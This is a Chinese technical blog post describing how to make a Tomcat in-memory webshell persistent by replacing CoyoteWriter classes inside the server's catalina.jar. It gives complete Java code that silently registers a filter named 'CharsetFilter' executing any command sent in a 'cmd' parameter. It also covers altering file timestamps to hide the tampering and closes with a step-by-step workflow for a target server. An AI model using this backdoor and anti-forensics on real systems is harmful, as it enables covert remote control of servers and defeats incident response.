关于Tomcat的内存马的持久化

前言:作为Tomcat实现内存马持久化的笔记

参考文章:https://www.freebuf.com/articles/web/268728.html

Tomcat的classpath劫持

方法就是直接对Tomcat的lib目录的字节码文件来直接进行替换,最后到Tomcat中调用lib库中的函数的时候来进行触发,方法操作如下所示

要劫持的话就劫持开发者就频繁用到的函数,比如PrintWriter的write方法,调试的话可以发现Tomcat中使用的对象为CoyoteWriter对象

所以这里就可以将目标服务器中的该对象对应的jar包来直接下载到本地进行修改,自己重新编译个全限定名为相同的class字节码文件

然后打开目标下载下来的catalina.jar中对应的目录进行替换

虽然Tomcat还在运行,但是直接在文件目录中进行替换catalina.jar是不会造成错误的,自己测试过的

C:\Users\dell\Desktop>copy c:\users\dell\desktop\catalina.jar D:\apache-tomcat-8.5.69\lib\ /y
已复制         1 个文件。

重新启动tomcat来进行测试,测试代码如下

public class TestClasspath extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter writer = resp.getWriter();
        writer.write("test");
        writer.flush();
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doGet(req, resp);
    }
}

可以发现成功进行劫持

修改内存马持久化

同样的,这里只需要修改为内存马的注入代码即可,我这里通过Filter类型的来进行注册内存马,就不通过相关的反序列化环境来演示了,直接本地注册即可。

实现代码如下,write代码修改为如下

public void write(String s) {
        Field Configs = null;
        Map filterConfigs;
        try {
            WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext servletContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            String FilterName = "CharsetFilter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(FilterName) == null){
                Filter filter = new javax.servlet.Filter() {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){
                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);
                            return;
                        }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                };
                //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);
                //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();

                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);

                //反射获取ApplicationFilterConfig,构造方法将FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
                filterConfigs.put(FilterName,filterConfig);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        this.write((String)s, 0, s.length());
    }

然后重新进行替换,如下图所示,将修改过的catalina.jar重新覆盖到tomcat中去,这里需要注意的就是 除了CoyoteWriter.class,还需要一个内部类CoyoteWriter$1.class

访问http://localhost:8081/testClasspath,触发注入内存马

接着访问内存马http://localhost:8081/memory-filter-study-1.0-SNAPSHOT/?cmd=whoami

到这里的话,不能让这个内存马每次调用write方法的时候都执行,所以还需要设置一个flag来进行限制,只有这个不存在的时候才会生成内存马,这里的话可以通过在上下文中设置一个属性来进行验证

            String memoryFlag = (String) servletContext.getAttribute("memory");
            servletContext.setAttribute("memory", "have");

上面的两句放到如下代码中即可,这样的话Tomcat启动一次就会添加一次

public void write(String s) {
        try {
            Field Configs = null;
            Map filterConfigs;
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
            ServletContext servletContext = standardContext.getServletContext();
            String memoryFlag = (String) servletContext.getAttribute("memory");
            if (memoryFlag == null || !memoryFlag.equals("have")){
                String FilterName = "CharsetFilter";
                Configs = standardContext.getClass().getDeclaredField("filterConfigs");
                Configs.setAccessible(true);
                filterConfigs = (Map) Configs.get(standardContext);

                if (filterConfigs.get(FilterName) == null) {
                    Filter filter = new Filter() {

                        @Override
                        public void init(FilterConfig filterConfig) throws ServletException {

                        }

                        @Override
                        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                            HttpServletRequest req = (HttpServletRequest) servletRequest;
                            if (req.getParameter("cmd") != null) {
                                InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                                Scanner s = new Scanner(in).useDelimiter("\\A");
                                String output = s.hasNext() ? s.next() : "";
                                servletResponse.getWriter().write(output);
                                return;
                            }
                            filterChain.doFilter(servletRequest, servletResponse);
                        }

                        @Override
                        public void destroy() {

                        }
                    };

                    //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
                    Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                    Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                    org.apache.tomcat.util.descriptor.web.FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef) declaredConstructors.newInstance();
                    o.setFilter(filter);
                    o.setFilterName(FilterName);
                    o.setFilterClass(filter.getClass().getName());
                    standardContext.addFilterDef(o);
                    //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
                    Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                    Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                    org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap) declaredConstructor.newInstance();

                    o1.addURLPattern("/*");
                    o1.setFilterName(FilterName);
                    o1.setDispatcher(DispatcherType.REQUEST.name());
                    standardContext.addFilterMapBefore(o1);

                    //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
                    Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                    Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class);
                    declaredConstructor1.setAccessible(true);
                    org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext, o);
                    filterConfigs.put(FilterName, filterConfig);
                    servletContext.setAttribute("memory", "have");
                }
            }
        }catch (Exception e){
            e.printStackTrace();
        }
        this.write((String)s, 0, s.length());
    }

文件属性修改

这里的话还需要考虑到文件属性创建时间修改时间的问题,要不然可能还会被观察到被修改的痕迹,所以这里还需要修改下,这里代码简单的用C来完成

1、class放进去的时候格式需要跟对方服务器中的catalina.jar中的字节码文件时间相同(这个可以在本地进行修改)

2、重新上传到对方服务器的时候,时间格式为当前(这个需要在对方服务器进行修改)

所以这里的话只需要考虑第二点即可,代码如下所示

完整的流程演示

1、webshell

2、下载tomcat的catalina.jar

3、替换两个文件,并且替换为目标上的创建时间

4、上传修改过的catalina.jar覆盖到目标上的catalina.jar

5、上传C写的程序进行指定修改即可

posted @ 2021-11-30 23:24  zpchcbd  阅读(965)  评论(0)    收藏  举报